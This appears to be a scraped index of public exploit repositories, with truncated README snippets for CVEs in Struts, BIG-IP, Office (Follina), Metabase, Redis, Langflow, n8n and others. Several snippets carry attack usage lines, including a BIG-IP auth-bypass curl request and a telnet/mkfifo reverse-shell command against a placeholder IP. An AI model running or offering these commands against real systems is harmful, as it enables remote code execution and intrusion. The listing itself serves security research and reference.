S2-053-CVE-2017-12611

S2-053-CVE-2017-12611 A simple script for exploit RCE for Struts 2 S2-053CVE-2017-12611 Usage exploit.py Example $ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a" Generated EXP:...

OA-tongda-RCE

OA-tongda-RCE | Office Anywhere Web-based Intelligent Office System Backend Getshell No Authentication Required 1. Arbitrary file upload vulnerability /ispirit/im/upload.php 2. Local file inclusion vulnerability /ispirit/interface/gateway.php Command Execution Bypass: exec"cmd /c ".$command;...

Exploits

A collection of exploits developed by @xer0dayz @Sn1perSecurity https://sn1persecurity.com Vulnserver.exe GMON SEH Overflow Exploit FreeFloat FTP Server HOST Buffer Overflow ASLR Bypass CoolPlayer+ Portable 2.19.6 Stack Overflow ASLR Bypass HTTPoxy Exploit/PoC Scanner Ability FTP 2.34 Buffer...

CVE-2025-2945

CVE-2025-2945 - pgAdmin4 Authenticated RCE Exploit Author: G0D150NE Version: 2.0.0 CVE: CVE-2025-2945 Severity: Critical CVSS 9.9 📌 Description Exploit for pgAdmin4 Remote Code Execution RCE vulnerability affecting versions 8.10 to 9.1. The vulnerability exists in the /sqleditor/querytool/downloa...

CVE-2019-11580

CVE-2019-11580 Atlassian Crowd and Crowd Data Center RCE Usage: python CVE-2019-11580.py http://xx.xx.xx.xx/ Crowd-2.11.0 VulnVersion Donwload https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz Powered by Atlassian Crowd Version: 2.11.0 Build:725 -...

CVE-2025-55182-Metasploit-exploit-skeleton-real-flow-

🧪 STEP 1: Demo vulnerable web-app LAB We create logic similar to CVE-2025-55182 unsafe server-side execution. 📁 vulnapp/app.py from flask import Flask, request import subprocess app = Flaskname @app.route"/render", methods="POST" def render: data = request.json.get"component" ❌ VULNERABLE: user...

cve-2025-55182

Penetration Testing Writeup: Next.js RCE & Node.js Inspector Privilege Escalation This technical writeup details the exploitation path for compromising a target hosting a vulnerable Next.js web application, achieving initial access via harvested credentials, and leveraging a misconfigured local...

CVE-2026-33017-Langflow-RCE-PoC

CVE-2026-33017-Langflow-RCE-PoC The vulnerability in Langflow 1.8.1 and earlier allows a remote, unauthenticated attacker to achieve arbitrary command execution on the host. Description The POST /api/v1/buildpublictmp/flowid/flow endpoint permits anyone to build public flows without authenticatio...

CVE-2026-5843

CVE-2026-5843 PoC Minimal OCI registry that serves a malicious model to exploit the modelfile importlib execution path in mlx-lm. When Docker Model Runner loads the model for inference, model.py executes on the host as the logged-in user. Requires: Docker Desktop ≤ 4.70.x Apple Silicon with Model...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST vulnerability CVE-2022-1388 Usage This POC is Verified! curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye Authenticated RCE Authenticated Remote Code Execution in motionEye = 0.43.1b4 via unsanitized motion config parameter Author: d3vn0mi Vulnerability Overview Field| Details ---|--- CVE ID| CVE-2025-60787 CVSS Score| 7.2 High Type| OS Command Injection CWE-78 Affected|...

CVE-2026-23479-Redis-UAF-Proof-of-Concept

🔥 CVE-2026-23479 – Redis UAF Proof of Concept Use-After-Free in RedisunblockClientOnKey leading to Remote Code Execution Proof of concept with GDB‑assisted exploitation educational / lab use only 📖 Overview CVE-2026-23479 is a critical Use‑After‑Free UAF vulnerability in Redis versions 7.2.0...

PoC-CVE-2022-30190

POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina Info : New Microsoft Office zero-day used in attacks to execute PowerShell Summary On the 29th of May 2022, the NaoSec team, an independent Cyber Security Research Team, discovered a malicious Office document shared on Virustotal. This...

Metabase-Pre-Auth-RCE-POC

CVE-2023-38646 — Metabase Remote Code Execution RCE Proof-of-Concept Overview This repository documents a Proof-of-Concept PoC security research project analysing CVE-2023-38646 , a critical pre-authentication Remote Code Execution RCE vulnerability affecting vulnerable versions of Metabase. The...

CVE-2022-2185

CVE-2022-2185 wo ee cve-2022-2185 gitlab authenticated rce read: https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/ how to use First spawn a gitlab instance. Log in, create a group and project with a unique name. Create an access token. Edit these lines in main.go...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE Exploit PoC Remote Code Execution RCE via unsafe eval usage in Searchor --test Execute Custom Command Run any command on the target server: python3 CVE-2023-43364.py -a "whoami" Examples: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF"...

CVE-2024-46538

Thanks tophysicszq, who discovered this vulnerability. CVE-2024-46538 ★ CVE-2024-46538 PfSense Stored XSS lead to Arbitrary Code Execution PoC ★ Description CVE-2024-46538 : PfSense Stored XSS Vulnerability description: A cross-site scripting XSS vulnerability in pfsense v2.5.2 allows attackers t...

CVE-2025-55182

React2Shell CVE-2025-55182 ⚠️ Warning: This project is for educational and security research purposes only. 1. clone the repository git clone https://github.com/mivmi/CVE-2025-55182.git cd CVE-2025-55182 2. start the docker containers docker-compose up -d 3. open in your browser...

n8n_CVE-2025-68613_exploit_payloads

n8nCVE-2025-68613exploitpayloads Expression injection payloads for n8n CVE-2025-68613 RCE LEGAL DISCLAIMER: This content is for educational purposes only. Author bears no responsibility for damages, misuse, or unauthorized exploitation of CVE-2025-68613. Test solely in isolated lab environments o...

CVE-2021-25646

Apache Druid Remote Code Execution CVE-2021-25646 by j2ekim Usage python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Vulnerability Reproduction Article https://www.adminxe.com/2109.html Disclaimer Any direct or indirect consequences an...